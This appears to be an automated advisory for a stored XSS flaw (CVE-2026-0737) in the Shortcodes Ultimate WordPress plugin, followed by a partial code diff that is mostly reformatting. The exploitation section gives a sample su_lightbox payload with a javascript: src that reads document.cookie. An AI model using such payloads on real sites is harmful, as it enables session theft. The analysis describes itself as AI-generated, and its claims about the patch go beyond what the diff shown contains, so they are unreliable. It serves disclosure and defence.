Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-0737: Shortcodes Ultimate <= 7.4.7 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'su_lightbox' Shortcode (shortcodes-ultimate)

CVE ID CVE-2026-0737
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 7.4.7
Patched Version 7.4.8
Disclosed April 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0737:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Shortcodes Ultimate WordPress plugin. The issue affects the ‘su_lightbox’ shortcode’s ‘src’ attribute, allowing attackers with contributor-level access or higher to inject arbitrary JavaScript into pages. The injected scripts execute when a user views the compromised page, leading to client-side attacks. The CVSS score of 6.4 reflects the moderate impact and the requirement for authenticated access.

Root Cause:
The vulnerability originates from insufficient input sanitization and output escaping in the ‘su_lightbox’ shortcode handler. Atomic Edge research identified the specific code path in the plugin’s shortcode processing functions. The ‘src’ attribute value passed to the shortcode bypasses proper sanitization before being rendered in the page output. The diff shows modifications to the plugin’s core files, including ‘shortcodes-ultimate/inc/core/generator.php’ and ‘shortcodes-ultimate/includes/shortcodes/lightbox.php’, where the sanitization logic was added. The vulnerable code previously accepted raw user input for the ‘src’ parameter without validation.

Exploitation:
An attacker with contributor privileges can exploit this vulnerability by inserting a malicious ‘su_lightbox’ shortcode into any post or page content. The attack payload uses the ‘src’ attribute to deliver JavaScript code. For example: [su_lightbox src=”javascript:alert(document.cookie)” type=”inline”]Click me[/su_lightbox]. When the page renders, the plugin processes the shortcode and outputs the unsanitized ‘src’ value directly into the HTML, creating an executable script context. The attacker can also use encoded payloads or event handlers to bypass basic filtering.

Patch Analysis:
The patch adds proper input sanitization and output escaping to the ‘su_lightbox’ shortcode handler. Atomic Edge analysis of the diff reveals the addition of ‘esc_url’ and ‘esc_attr’ functions to sanitize the ‘src’ attribute value before output. In ‘shortcodes-ultimate/includes/shortcodes/lightbox.php’, the code now validates the ‘src’ parameter against allowed protocols and escapes the output. The patch also includes updates to the generator interface to prevent malicious input during shortcode creation. The before behavior allowed raw user input in the ‘src’ attribute, while the after behavior ensures all output is properly escaped and validated.

Impact:
Successful exploitation allows authenticated attackers to inject malicious scripts that execute in victims’ browsers. This can lead to session hijacking, account takeover, defacement, or redirection to malicious sites. Since the XSS is stored, the payload persists and affects all users who view the compromised page. Attackers can steal authentication cookies, perform actions on behalf of users, or deploy malware. The contributor-level requirement limits the attack surface, but many WordPress sites grant this permission to untrusted users.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/shortcodes-ultimate/admin/class-shortcodes-ultimate-admin-settings.php
+++ b/shortcodes-ultimate/admin/class-shortcodes-ultimate-admin-settings.php
@@ -8,7 +8,8 @@
  * @package      Shortcodes_Ultimate
  * @subpackage   Shortcodes_Ultimate/admin
  */
-final class Shortcodes_Ultimate_Admin_Settings extends Shortcodes_Ultimate_Admin {
+final class Shortcodes_Ultimate_Admin_Settings extends Shortcodes_Ultimate_Admin
+{

 	/**
 	 * The plugin settings data.
@@ -35,21 +36,22 @@
 	 * @param string  $plugin_file    The path of the main plugin file
 	 * @param string  $plugin_version The current version of the plugin
 	 */
-	public function __construct( $plugin_file, $plugin_version, $plugin_prefix ) {
+	public function __construct($plugin_file, $plugin_version, $plugin_prefix)
+	{

-		parent::__construct( $plugin_file, $plugin_version, $plugin_prefix );
+		parent::__construct($plugin_file, $plugin_version, $plugin_prefix);

-		$this->plugin_settings  = array();
+		$this->plugin_settings = array();
 		$this->setting_defaults = array(
-			'id'          => '',
-			'title'       => '',
-			'type'        => 'text',
+			'id' => '',
+			'title' => '',
+			'type' => 'text',
 			'description' => '',
-			'page'        => $this->plugin_prefix . 'settings',
-			'section'     => $this->plugin_prefix . 'general',
-			'group'       => rtrim( $this->plugin_prefix, '-_' ),
-			'callback'    => array( $this, 'the_settings_field' ),
-			'sanitize'    => 'sanitize_text_field',
+			'page' => $this->plugin_prefix . 'settings',
+			'section' => $this->plugin_prefix . 'general',
+			'group' => rtrim($this->plugin_prefix, '-_'),
+			'callback' => array($this, 'the_settings_field'),
+			'sanitize' => 'sanitize_text_field',
 		);

 	}
@@ -61,40 +63,57 @@
 	 * @access   protected
 	 * @return  array The plugin settings data.
 	 */
-	protected function get_plugin_settings() {
+	protected function get_plugin_settings()
+	{

-		if ( empty( $this->plugin_settings ) ) {
+		if (empty($this->plugin_settings)) {

 			/**
 			 * General settings
 			 */

 			$this->plugin_settings[] = array(
-				'id'          => 'su_option_custom-css',
-				'type'        => 'css',
-				'sanitize'    => 'wp_strip_all_tags',
-				'title'       => __( 'Custom CSS code', 'shortcodes-ultimate' ),
-				'description' => __( 'In this field you can write your custom CSS code for shortcodes. These styles will have higher priority compared to original styles of shortcodes. You can use variables in your CSS code. These variables will be replaced by respective values.', 'shortcodes-ultimate' ),
+				'id' => 'su_option_custom-css',
+				'type' => 'css',
+				'sanitize' => 'wp_strip_all_tags',
+				'title' => __('Custom CSS code', 'shortcodes-ultimate'),
+				'description' => __('In this field you can write your custom CSS code for shortcodes. These styles will have higher priority compared to original styles of shortcodes. You can use variables in your CSS code. These variables will be replaced by respective values.', 'shortcodes-ultimate'),
 			);

 			$this->plugin_settings[] = array(
-				'id'          => 'su_option_supported_blocks',
-				'type'        => 'checkbox-group',
-				'sanitize'    => array( $this, 'sanitize_checkbox_group' ),
-				'title'       => __( 'Supported blocks', 'shortcodes-ultimate' ),
-				'description' => __( 'Enable the "Insert Shortcode" button in selected blocks', 'shortcodes-ultimate' ),
-				'options'     => su_get_config( 'supported-blocks' ),
+				'id' => 'su_option_supported_blocks',
+				'type' => 'checkbox-group',
+				'sanitize' => array($this, 'sanitize_checkbox_group'),
+				'title' => __('Supported blocks', 'shortcodes-ultimate'),
+				'description' => __('Enable the "Insert Shortcode" button in selected blocks', 'shortcodes-ultimate'),
+				'options' => su_get_config('supported-blocks'),
 			);

 			$this->plugin_settings[] = array(
-				'id'          => 'su_option_enable_shortcodes_in',
-				'type'        => 'checkbox-group',
-				'sanitize'    => array( $this, 'sanitize_checkbox_group' ),
-				'title'       => __( 'Enable shortcodes in', 'shortcodes-ultimate' ),
-				'description' => __( 'This option allows you to enable shortcodes in places where they are disabled by default', 'shortcodes-ultimate' ),
-				'options'     => array(
-					'term_description' => __( 'Term descriptions (Categories, Tags, Custom Taxonomies)', 'shortcodes-ultimate' ),
-					'widget_text'      => __( 'Text widgets', 'shortcodes-ultimate' ),
+				'id' => 'su_option_show_toolbar_button',
+				'type' => 'checkbox',
+				'sanitize' => array($this, 'sanitize_checkbox'),
+				'title' => __('Show toolbar button', 'shortcodes-ultimate'),
+				'description' => __('Show the "Insert Shortcode" button in the editor top toolbar', 'shortcodes-ultimate'),
+			);
+
+			$this->plugin_settings[] = array(
+				'id' => 'su_option_show_block_controls_button',
+				'type' => 'checkbox',
+				'sanitize' => array($this, 'sanitize_checkbox'),
+				'title' => __('Show block controls button', 'shortcodes-ultimate'),
+				'description' => __('Show the "Insert Shortcode" button in block controls for supported blocks', 'shortcodes-ultimate'),
+			);
+
+			$this->plugin_settings[] = array(
+				'id' => 'su_option_enable_shortcodes_in',
+				'type' => 'checkbox-group',
+				'sanitize' => array($this, 'sanitize_checkbox_group'),
+				'title' => __('Enable shortcodes in', 'shortcodes-ultimate'),
+				'description' => __('This option allows you to enable shortcodes in places where they are disabled by default', 'shortcodes-ultimate'),
+				'options' => array(
+					'term_description' => __('Term descriptions (Categories, Tags, Custom Taxonomies)', 'shortcodes-ultimate'),
+					'widget_text' => __('Text widgets', 'shortcodes-ultimate'),
 				),
 			);

@@ -103,86 +122,86 @@
 			 */

 			$this->plugin_settings[] = array(
-				'id'          => 'su_option_prefix',
-				'sanitize'    => array( $this, 'sanitize_prefix' ),
-				'page'        => $this->plugin_prefix . 'advanced-settings',
-				'group'       => $this->plugin_prefix . 'advanced-settings',
-				'section'     => $this->plugin_prefix . 'advanced',
-				'title'       => __( 'Shortcodes prefix', 'shortcodes-ultimate' ),
-				'description' => __( 'This prefix will be used in shortcode names. For example: set <code>MY_</code> prefix and shortcodes will look like <code>[MY_button]</code>. Please note that this setting does not change shortcodes that have been inserted earlier. Change this setting very carefully.', 'shortcodes-ultimate' ),
+				'id' => 'su_option_prefix',
+				'sanitize' => array($this, 'sanitize_prefix'),
+				'page' => $this->plugin_prefix . 'advanced-settings',
+				'group' => $this->plugin_prefix . 'advanced-settings',
+				'section' => $this->plugin_prefix . 'advanced',
+				'title' => __('Shortcodes prefix', 'shortcodes-ultimate'),
+				'description' => __('This prefix will be used in shortcode names. For example: set <code>MY_</code> prefix and shortcodes will look like <code>[MY_button]</code>. Please note that this setting does not change shortcodes that have been inserted earlier. Change this setting very carefully.', 'shortcodes-ultimate'),
 			);

 			$this->plugin_settings[] = array(
-				'id'          => 'su_option_custom-formatting',
-				'type'        => 'checkbox',
-				'sanitize'    => array( $this, 'sanitize_checkbox' ),
-				'page'        => $this->plugin_prefix . 'advanced-settings',
-				'group'       => $this->plugin_prefix . 'advanced-settings',
-				'section'     => $this->plugin_prefix . 'advanced',
-				'title'       => __( 'Custom formatting', 'shortcodes-ultimate' ),
-				'description' => __( 'Enable this option if you face any problems with formatting of nested shortcodes.', 'shortcodes-ultimate' ),
+				'id' => 'su_option_custom-formatting',
+				'type' => 'checkbox',
+				'sanitize' => array($this, 'sanitize_checkbox'),
+				'page' => $this->plugin_prefix . 'advanced-settings',
+				'group' => $this->plugin_prefix . 'advanced-settings',
+				'section' => $this->plugin_prefix . 'advanced',
+				'title' => __('Custom formatting', 'shortcodes-ultimate'),
+				'description' => __('Enable this option if you face any problems with formatting of nested shortcodes.', 'shortcodes-ultimate'),
 			);

 			$this->plugin_settings[] = array(
-				'id'          => 'su_option_skip',
-				'type'        => 'checkbox',
-				'sanitize'    => array( $this, 'sanitize_checkbox' ),
-				'page'        => $this->plugin_prefix . 'advanced-settings',
-				'group'       => $this->plugin_prefix . 'advanced-settings',
-				'section'     => $this->plugin_prefix . 'advanced',
-				'title'       => __( 'Skip default settings', 'shortcodes-ultimate' ),
-				'description' => __( 'Enable this option if you don't want the inserted shortcode to contain any settings that were not changed by you. As a result, inserted shortcodes will be much shorter.', 'shortcodes-ultimate' ),
+				'id' => 'su_option_skip',
+				'type' => 'checkbox',
+				'sanitize' => array($this, 'sanitize_checkbox'),
+				'page' => $this->plugin_prefix . 'advanced-settings',
+				'group' => $this->plugin_prefix . 'advanced-settings',
+				'section' => $this->plugin_prefix . 'advanced',
+				'title' => __('Skip default settings', 'shortcodes-ultimate'),
+				'description' => __('Enable this option if you don't want the inserted shortcode to contain any settings that were not changed by you. As a result, inserted shortcodes will be much shorter.', 'shortcodes-ultimate'),
 			);

 			$this->plugin_settings[] = array(
-				'id'          => 'su_option_generator_access',
-				'page'        => $this->plugin_prefix . 'advanced-settings',
-				'group'       => $this->plugin_prefix . 'advanced-settings',
-				'section'     => $this->plugin_prefix . 'advanced',
-				'title'       => __( 'Required user capability', 'shortcodes-ultimate' ),
-				'description' => __( 'A user must have this capability to be able to use the "Insert Shortcode" button. Do not change this value if you do not understand its meaning as this may lower the plugin security.', 'shortcodes-ultimate' ),
+				'id' => 'su_option_generator_access',
+				'page' => $this->plugin_prefix . 'advanced-settings',
+				'group' => $this->plugin_prefix . 'advanced-settings',
+				'section' => $this->plugin_prefix . 'advanced',
+				'title' => __('Required user capability', 'shortcodes-ultimate'),
+				'description' => __('A user must have this capability to be able to use the "Insert Shortcode" button. Do not change this value if you do not understand its meaning as this may lower the plugin security.', 'shortcodes-ultimate'),
 			);

 			$this->plugin_settings[] = array(
-				'id'          => 'su_option_unsafe_features',
-				'type'        => 'checkbox',
-				'sanitize'    => array( $this, 'sanitize_checkbox' ),
-				'page'        => $this->plugin_prefix . 'advanced-settings',
-				'group'       => $this->plugin_prefix . 'advanced-settings',
-				'section'     => $this->plugin_prefix . 'advanced',
-				'title'       => __( 'Unsafe features', 'shortcodes-ultimate' ),
+				'id' => 'su_option_unsafe_features',
+				'type' => 'checkbox',
+				'sanitize' => array($this, 'sanitize_checkbox'),
+				'page' => $this->plugin_prefix . 'advanced-settings',
+				'group' => $this->plugin_prefix . 'advanced-settings',
+				'section' => $this->plugin_prefix . 'advanced',
+				'title' => __('Unsafe features', 'shortcodes-ultimate'),
 				'description' => sprintf(
 					'%s <a href="https://getshortcodes.com/docs/unsafe-features/" target="_blank">%s</a>.',
-					__( 'This option enables potentially unsafe features of the plugin such as onlick attribute of the Button shortcode. The option is enabled by default and is turned off automatically once you have more than one non-admin user on the site.', 'shortcodes-ultimate' ),
-					__( 'Learn more', 'shortcodes-ultimate' )
+					__('This option enables potentially unsafe features of the plugin such as onlick attribute of the Button shortcode. The option is enabled by default and is turned off automatically once you have more than one non-admin user on the site.', 'shortcodes-ultimate'),
+					__('Learn more', 'shortcodes-ultimate')
 				),
 			);

 			$this->plugin_settings[] = array(
-				'id'          => 'su_option_hide_deprecated',
-				'type'        => 'checkbox',
-				'sanitize'    => array( $this, 'sanitize_checkbox' ),
-				'page'        => $this->plugin_prefix . 'advanced-settings',
-				'group'       => $this->plugin_prefix . 'advanced-settings',
-				'section'     => $this->plugin_prefix . 'advanced',
-				'title'       => __( 'Hide deprecated shortcodes', 'shortcodes-ultimate' ),
-				'description' => __( 'This option hides all deprecated shortcodes from the Insert Shortcode window and at the Available Shortcodes page. Hidden shortcodes will continue to work.', 'shortcodes-ultimate' ),
+				'id' => 'su_option_hide_deprecated',
+				'type' => 'checkbox',
+				'sanitize' => array($this, 'sanitize_checkbox'),
+				'page' => $this->plugin_prefix . 'advanced-settings',
+				'group' => $this->plugin_prefix . 'advanced-settings',
+				'section' => $this->plugin_prefix . 'advanced',
+				'title' => __('Hide deprecated shortcodes', 'shortcodes-ultimate'),
+				'description' => __('This option hides all deprecated shortcodes from the Insert Shortcode window and at the Available Shortcodes page. Hidden shortcodes will continue to work.', 'shortcodes-ultimate'),
 			);

 			$this->plugin_settings[] = array(
-				'id'          => 'su_option_do_nested_shortcodes_alt',
-				'type'        => 'checkbox',
-				'sanitize'    => array( $this, 'sanitize_checkbox' ),
-				'page'        => $this->plugin_prefix . 'advanced-settings',
-				'group'       => $this->plugin_prefix . 'advanced-settings',
-				'section'     => $this->plugin_prefix . 'advanced',
-				'title'       => __( 'Nested shortcodes alternative mode', 'shortcodes-ultimate' ),
-				'description' => __( 'This option enables alternative (deprecated) mode for nested shortcodes.', 'shortcodes-ultimate' ),
+				'id' => 'su_option_do_nested_shortcodes_alt',
+				'type' => 'checkbox',
+				'sanitize' => array($this, 'sanitize_checkbox'),
+				'page' => $this->plugin_prefix . 'advanced-settings',
+				'group' => $this->plugin_prefix . 'advanced-settings',
+				'section' => $this->plugin_prefix . 'advanced',
+				'title' => __('Nested shortcodes alternative mode', 'shortcodes-ultimate'),
+				'description' => __('This option enables alternative (deprecated) mode for nested shortcodes.', 'shortcodes-ultimate'),
 			);

 		}

-		return apply_filters( 'su/admin/settings', $this->plugin_settings );
+		return apply_filters('su/admin/settings', $this->plugin_settings);

 	}

@@ -191,19 +210,20 @@
 	 *
 	 * @since   5.0.0
 	 */
-	public function add_menu_pages() {
+	public function add_menu_pages()
+	{

 		/**
 		 * Submenu: Settings
 		 * admin.php?page=shortcodes-ultimate-settings
 		 */
 		$this->add_submenu_page(
-			rtrim( $this->plugin_prefix, '-_' ),
-			__( 'Settings', 'shortcodes-ultimate' ),
-			__( 'Settings', 'shortcodes-ultimate' ),
+			rtrim($this->plugin_prefix, '-_'),
+			__('Settings', 'shortcodes-ultimate'),
+			__('Settings', 'shortcodes-ultimate'),
 			$this->get_capability(),
 			$this->plugin_prefix . 'settings',
-			array( $this, 'the_menu_page' )
+			array($this, 'the_menu_page')
 		);

 	}
@@ -213,28 +233,29 @@
 	 *
 	 * @since  5.0.0
 	 */
-	public function add_settings() {
+	public function add_settings()
+	{

 		add_settings_section(
 			$this->plugin_prefix . 'general',
-			__( 'General settings', 'shortcodes-ultimate' ),
-			array( $this, 'the_settings_section' ),
+			__('General settings', 'shortcodes-ultimate'),
+			array($this, 'the_settings_section'),
 			$this->plugin_prefix . 'settings'
 		);

 		add_settings_section(
 			$this->plugin_prefix . 'advanced',
 			null,
-			array( $this, 'the_settings_section' ),
+			array($this, 'the_settings_section'),
 			$this->plugin_prefix . 'advanced-settings'
 		);

 		/**
 		 * Register plugin settings.
 		 */
-		foreach ( $this->get_plugin_settings() as $setting ) {
+		foreach ($this->get_plugin_settings() as $setting) {

-			$setting = wp_parse_args( $setting, $this->setting_defaults );
+			$setting = wp_parse_args($setting, $this->setting_defaults);

 			$setting['label_for'] = $setting['id'];

@@ -262,21 +283,22 @@
 	 *
 	 * @since   5.4.0
 	 */
-	public function enqueue_scripts() {
+	public function enqueue_scripts()
+	{

-		if ( ! $this->is_component_page() ) {
+		if (!$this->is_component_page()) {
 			return;
 		}

-		if ( function_exists( 'wp_enqueue_code_editor' ) ) {
-			wp_enqueue_code_editor( array( 'type' => 'text/css' ) );
+		if (function_exists('wp_enqueue_code_editor')) {
+			wp_enqueue_code_editor(array('type' => 'text/css'));
 		}

 		wp_enqueue_style(
 			'shortcodes-ultimate-admin',
-			plugins_url( 'css/admin.css', __FILE__ ),
+			plugins_url('css/admin.css', __FILE__),
 			false,
-			filemtime( plugin_dir_path( __FILE__ ) . 'css/admin.css' )
+			filemtime(plugin_dir_path(__FILE__) . 'css/admin.css')
 		);

 	}
@@ -287,21 +309,22 @@
 	 * @since  5.0.0
 	 * @param WP_Screen $screen WP_Screen instance.
 	 */
-	public function add_help_tabs( $screen ) {
+	public function add_help_tabs($screen)
+	{

-		if ( ! $this->is_component_page() ) {
+		if (!$this->is_component_page()) {
 			return;
 		}

 		$screen->add_help_tab(
 			array(
-				'id'      => 'shortcodes-ultimate-general',
-				'title'   => __( 'General settings', 'shortcodes-ultimate' ),
-				'content' => $this->get_template( 'admin/partials/help/settings' ),
+				'id' => 'shortcodes-ultimate-general',
+				'title' => __('General settings', 'shortcodes-ultimate'),
+				'content' => $this->get_template('admin/partials/help/settings'),
 			)
 		);

-		$screen->set_help_sidebar( $this->get_template( 'admin/partials/help/sidebar' ) );
+		$screen->set_help_sidebar($this->get_template('admin/partials/help/sidebar'));

 	}

@@ -311,40 +334,43 @@
 	 * @since 5.0.8
 	 * @param array $links Default links.
 	 */
-	public function add_action_links( $links ) {
+	public function add_action_links($links)
+	{

 		$plugin_links = array(
 			sprintf(
 				'<a href="%s">%s</a>',
-				esc_attr( $this->get_component_url() ),
-				esc_html( __( 'Settings', 'shortcodes-ultimate' ) )
+				esc_attr($this->get_component_url()),
+				esc_html(__('Settings', 'shortcodes-ultimate'))
 			),
 		);

-		return array_merge( $plugin_links, $links );
+		return array_merge($plugin_links, $links);

 	}

-	protected function is_advanced_settings() {
-		return isset( $_GET['advanced'] );
+	protected function is_advanced_settings()
+	{
+		return isset($_GET['advanced']);
 	}

-	public function maybe_disable_unsafe_features() {
+	public function maybe_disable_unsafe_features()
+	{

-		if ( '' === get_option( 'su_option_unsafe_features' ) ) {
+		if ('' === get_option('su_option_unsafe_features')) {
 			return;
 		}

-		if ( su_current_user_can_insert() ) {
+		if (su_current_user_can_insert()) {
 			return;
 		}

-		if ( 0 !== get_option( 'su_option_unsafe_features_auto_off', 0 ) ) {
+		if (0 !== get_option('su_option_unsafe_features_auto_off', 0)) {
 			return;
 		}

-		update_option( 'su_option_unsafe_features', '' );
-		add_option( 'su_option_unsafe_features_auto_off', true );
+		update_option('su_option_unsafe_features', '');
+		add_option('su_option_unsafe_features_auto_off', true);

 	}

--- a/shortcodes-ultimate/inc/core/generator.php
+++ b/shortcodes-ultimate/inc/core/generator.php
@@ -3,47 +3,52 @@
 /**
  * Shortcode Generator
  */
-class Su_Generator {
+class Su_Generator
+{

-	public function __construct() {
+	public function __construct()
+	{
 		add_action(
 			'media_buttons',
-			array( __CLASS__, 'button_classic_editor' ),
+			array(__CLASS__, 'button_classic_editor'),
 			1000
 		);
 		add_action(
 			'enqueue_block_editor_assets',
-			array( __CLASS__, 'button_block_editor' )
+			array(__CLASS__, 'button_block_editor')
 		);

-		add_action( 'wp_footer', array( __CLASS__, 'popup' ) );
-		add_action( 'admin_footer', array( __CLASS__, 'popup' ) );
+		add_action('wp_footer', array(__CLASS__, 'popup'));
+		add_action('admin_footer', array(__CLASS__, 'popup'));

-		add_action( 'wp_ajax_su_generator_settings', array( __CLASS__, 'settings' ) );
-		add_action( 'wp_ajax_su_generator_preview', array( __CLASS__, 'preview' ) );
-		add_action( 'su/generator/actions', array( __CLASS__, 'presets' ) );
-
-		add_action( 'wp_ajax_su_generator_get_icons', array( __CLASS__, 'ajax_get_icons' ) );
-		add_action( 'wp_ajax_su_generator_get_terms', array( __CLASS__, 'ajax_get_terms' ) );
-		add_action( 'wp_ajax_su_generator_get_taxonomies', array( __CLASS__, 'ajax_get_taxonomies' ) );
-		add_action( 'wp_ajax_su_generator_add_preset', array( __CLASS__, 'ajax_add_preset' ) );
-		add_action( 'wp_ajax_su_generator_remove_preset', array( __CLASS__, 'ajax_remove_preset' ) );
-		add_action( 'wp_ajax_su_generator_get_preset', array( __CLASS__, 'ajax_get_preset' ) );
+		add_action('wp_ajax_su_generator_settings', array(__CLASS__, 'settings'));
+		add_action('wp_ajax_su_generator_preview', array(__CLASS__, 'preview'));
+		add_action('su/generator/actions', array(__CLASS__, 'presets'));
+
+		add_action('wp_ajax_su_generator_get_icons', array(__CLASS__, 'ajax_get_icons'));
+		add_action('wp_ajax_su_generator_get_terms', array(__CLASS__, 'ajax_get_terms'));
+		add_action('wp_ajax_su_generator_get_taxonomies', array(__CLASS__, 'ajax_get_taxonomies'));
+		add_action('wp_ajax_su_generator_add_preset', array(__CLASS__, 'ajax_add_preset'));
+		add_action('wp_ajax_su_generator_remove_preset', array(__CLASS__, 'ajax_remove_preset'));
+		add_action('wp_ajax_su_generator_get_preset', array(__CLASS__, 'ajax_get_preset'));
 	}

 	/**
 	 * @deprecated 5.1.0 Replaced with Su_Generator::classic_editor_button()
 	 */
-	public static function button( $args = array() ) {
-		return self::button_html_editor( $args );
+	public static function button($args = array())
+	{
+		return self::button_html_editor($args);
 	}
-	public static function classic_editor_button( $args = array() ) {
-		return self::button_html_editor( $args );
+	public static function classic_editor_button($args = array())
+	{
+		return self::button_html_editor($args);
 	}

-	public static function button_html_editor( $args = array() ) {
+	public static function button_html_editor($args = array())
+	{

-		if ( ! self::access_check() ) {
+		if (!self::access_check()) {
 			return;
 		}

@@ -52,17 +57,17 @@
 		$args = wp_parse_args(
 			$args,
 			array(
-				'target'    => '',
-				'tag'       => 'button',
-				'text'      => __( 'Insert shortcode', 'shortcodes-ultimate' ),
-				'class'     => 'button',
-				'icon'      => true,
-				'echo'      => true,
+				'target' => '',
+				'tag' => 'button',
+				'text' => __('Insert shortcode', 'shortcodes-ultimate'),
+				'class' => 'button',
+				'icon' => true,
+				'echo' => true,
 				'shortcode' => '',
 			)
 		);

-		if ( $args['icon'] ) {
+		if ($args['icon']) {

 			$args['icon'] = '<svg style="vertical-align:middle;position:relative;top:-1px;opacity:.8;width:18px;height:18px" viewBox="0 0 20 20" width="18" height="18" aria-hidden="true"><path fill="currentcolor" d="M8.48 2.75v2.5H5.25v9.5h3.23v2.5H2.75V2.75h5.73zm9.27 14.5h-5.73v-2.5h3.23v-9.5h-3.23v-2.5h5.73v14.5z"/></svg>';

@@ -70,8 +75,8 @@

 		$onclick = sprintf(
 			"SUG.App.insert('html',{editorID:'%s',shortcode:'%s'});return false;",
-			esc_attr( $args['target'] ),
-			esc_attr( $args['shortcode'] )
+			esc_attr($args['target']),
+			esc_attr($args['shortcode'])
 		);

 		$button = sprintf(
@@ -82,15 +87,15 @@
 				title="%2$s"
 				onclick="%3$s"
 			>%4$s %5$s</%6$s>',
-			esc_attr( $args['class'] ),
-			esc_attr( $args['text'] ),
+			esc_attr($args['class']),
+			esc_attr($args['text']),
 			$onclick,
 			$args['icon'],
-			esc_html( $args['text'] ),
-			sanitize_key( $args['tag'] )
+			esc_html($args['text']),
+			sanitize_key($args['tag'])
 		);

-		if ( $args['echo'] ) {
+		if ($args['echo']) {
 			echo $button;
 		}

@@ -98,9 +103,10 @@

 	}

-	public static function button_classic_editor( $target ) {
+	public static function button_classic_editor($target)
+	{

-		if ( ! self::access_check() ) {
+		if (!self::access_check()) {
 			return;
 		}

@@ -108,7 +114,7 @@

 		$onclick = sprintf(
 			"SUG.App.insert('classic',{editorID:'%s',shortcode:''});",
-			esc_attr( $target )
+			esc_attr($target)
 		);

 		$icon = '<svg style="vertical-align:middle;position:relative;top:-1px;opacity:.8;width:18px;height:18px" viewBox="0 0 20 20" width="18" height="18" aria-hidden="true"><path fill="currentcolor" d="M8.48 2.75v2.5H5.25v9.5h3.23v2.5H2.75V2.75h5.73zm9.27 14.5h-5.73v-2.5h3.23v-9.5h-3.23v-2.5h5.73v14.5z"/></svg>';
@@ -122,7 +128,7 @@
 			>
 				%3$s %1$s
 			</button>',
-			__( 'Insert shortcode', 'shortcodes-ultimate' ),
+			__('Insert shortcode', 'shortcodes-ultimate'),
 			$onclick,
 			$icon
 		);
@@ -131,9 +137,10 @@

 	}

-	public static function button_block_editor() {
+	public static function button_block_editor()
+	{

-		if ( ! self::access_check() ) {
+		if (!self::access_check()) {
 			return;
 		}

@@ -141,32 +148,45 @@

 		wp_enqueue_script(
 			'shortcodes-ultimate-block-editor',
-			plugins_url( 'includes/js/block-editor/index.js', SU_PLUGIN_FILE ),
-			array( 'wp-element', 'wp-components', 'su-generator' ),
+			plugins_url('includes/js/block-editor/index.js', SU_PLUGIN_FILE),
+			array('wp-element', 'wp-components', 'wp-edit-post', 'wp-plugins', 'wp-blocks', 'wp-data', 'su-generator'),
 			SU_PLUGIN_VERSION,
 			true
 		);

+		wp_enqueue_style(
+			'shortcodes-ultimate-block-editor',
+			plugins_url('includes/css/block-editor.css', SU_PLUGIN_FILE),
+			array(),
+			SU_PLUGIN_VERSION
+		);
+
 		wp_localize_script(
 			'shortcodes-ultimate-block-editor',
 			'SUBlockEditorL10n',
-			array( 'insertShortcode' => __( 'Insert shortcode', 'shortcodes-ultimate' ) )
+			array('insertShortcode' => __('Insert shortcode', 'shortcodes-ultimate'))
 		);

 		wp_localize_script(
 			'shortcodes-ultimate-block-editor',
 			'SUBlockEditorSettings',
-			array( 'supportedBlocks' => get_option( 'su_option_supported_blocks', array() ) )
+			array(
+				'supportedBlocks' => get_option('su_option_supported_blocks', array()),
+				'showToolbarButton' => get_option('su_option_show_toolbar_button', 'on'),
+				'showBlockControlsButton' => get_option('su_option_show_block_controls_button', 'on'),
+			)
 		);

 	}

-	public static function enqueue_generator() {
-		do_action( 'su/generator/enqueue' );
+	public static function enqueue_generator()
+	{
+		do_action('su/generator/enqueue');
 		self::enqueue_assets();
 	}

-	public static function enqueue_assets() {
+	public static function enqueue_assets()
+	{

 		wp_enqueue_media();

@@ -200,136 +220,146 @@
 	/**
 	 * Generator popup form
 	 */
-	public static function popup() {
+	public static function popup()
+	{

-		if ( ! did_action( 'su/generator/enqueue' ) ) {
+		if (!did_action('su/generator/enqueue')) {
 			return;
 		}

-		$tools = apply_filters( 'su/generator/tools', array(
-				'<a href="' . admin_url( 'admin.php?page=shortcodes-ultimate-settings' ) . '" target="_blank" title="' . __( 'Settings', 'shortcodes-ultimate' ) . '">' . __( 'Plugin settings', 'shortcodes-ultimate' ) . '</a>',
-				'<a href="https://getshortcodes.com/" target="_blank" title="' . __( 'Plugin homepage', 'shortcodes-ultimate' ) . '">' . __( 'Plugin homepage', 'shortcodes-ultimate' ) . '</a>',
-			) );
-
-		if ( ! su_fs()->can_use_premium_code() && ! su_has_all_active_addons() ) {
-			$tools[] = '<a href="' . esc_attr( su_get_utm_link( 'https://getshortcodes.com/pricing/', 'wp-dashboard', 'generator', 'badge' ) ) . '" target="_blank" title="' . __( 'Upgrade to PRO', 'shortcodes-ultimate' ) . '" class="su-add-ons">★ ' . __( 'Upgrade to PRO', 'shortcodes-ultimate' ) . '</a>';
-		}
-?>
-	<div id="su-generator-wrap" style="display:none">
-		<div id="su-generator">
-			<div id="su-generator-header">
-				<div id="su-generator-tools"><?php echo implode( ' <span></span> ', $tools ); ?></div>
-				<input type="text" name="su_generator_search" id="su-generator-search" value="" placeholder="<?php _e( 'Search for shortcodes', 'shortcodes-ultimate' ); ?>" />
-				<p id="su-generator-search-pro-tip"><?php printf( '<strong>%s:</strong> %s', __( 'Pro Tip', 'shortcodes-ultimate' ), __( 'Hit enter to select highlighted shortcode, while searching', 'shortcodes-ultimate' ) ) ?></p>
-				<div id="su-generator-filter">
-					<strong><?php _e( 'Filter by type', 'shortcodes-ultimate' ); ?></strong>
-					<?php foreach ( su_get_groups() as $group => $label ) echo '<a href="#" data-filter="' . $group . '">' . $label . '</a>'; ?>
-				</div>
-				<div id="su-generator-choices" class="su-generator-clearfix">
-					<?php
-		// Choices loop
-		foreach ( self::get_shortcodes() as $name => $shortcode ) {
-			if ( ! isset( $shortcode['icon'] ) ) {
-				$shortcode['icon'] = 'puzzle-piece';
-			}
-			if ( strpos( $shortcode['icon'], '/' ) === false ) {
-				$shortcode['icon'] = 'icon:' . $shortcode['icon'];
-			}
-			$shortcode['name'] = ( isset( $shortcode['name'] ) ) ? $shortcode['name'] : $name;
-			if ( ! isset( $shortcode['desc'] ) ) {
-				$shortcode['desc'] = '';
-			}
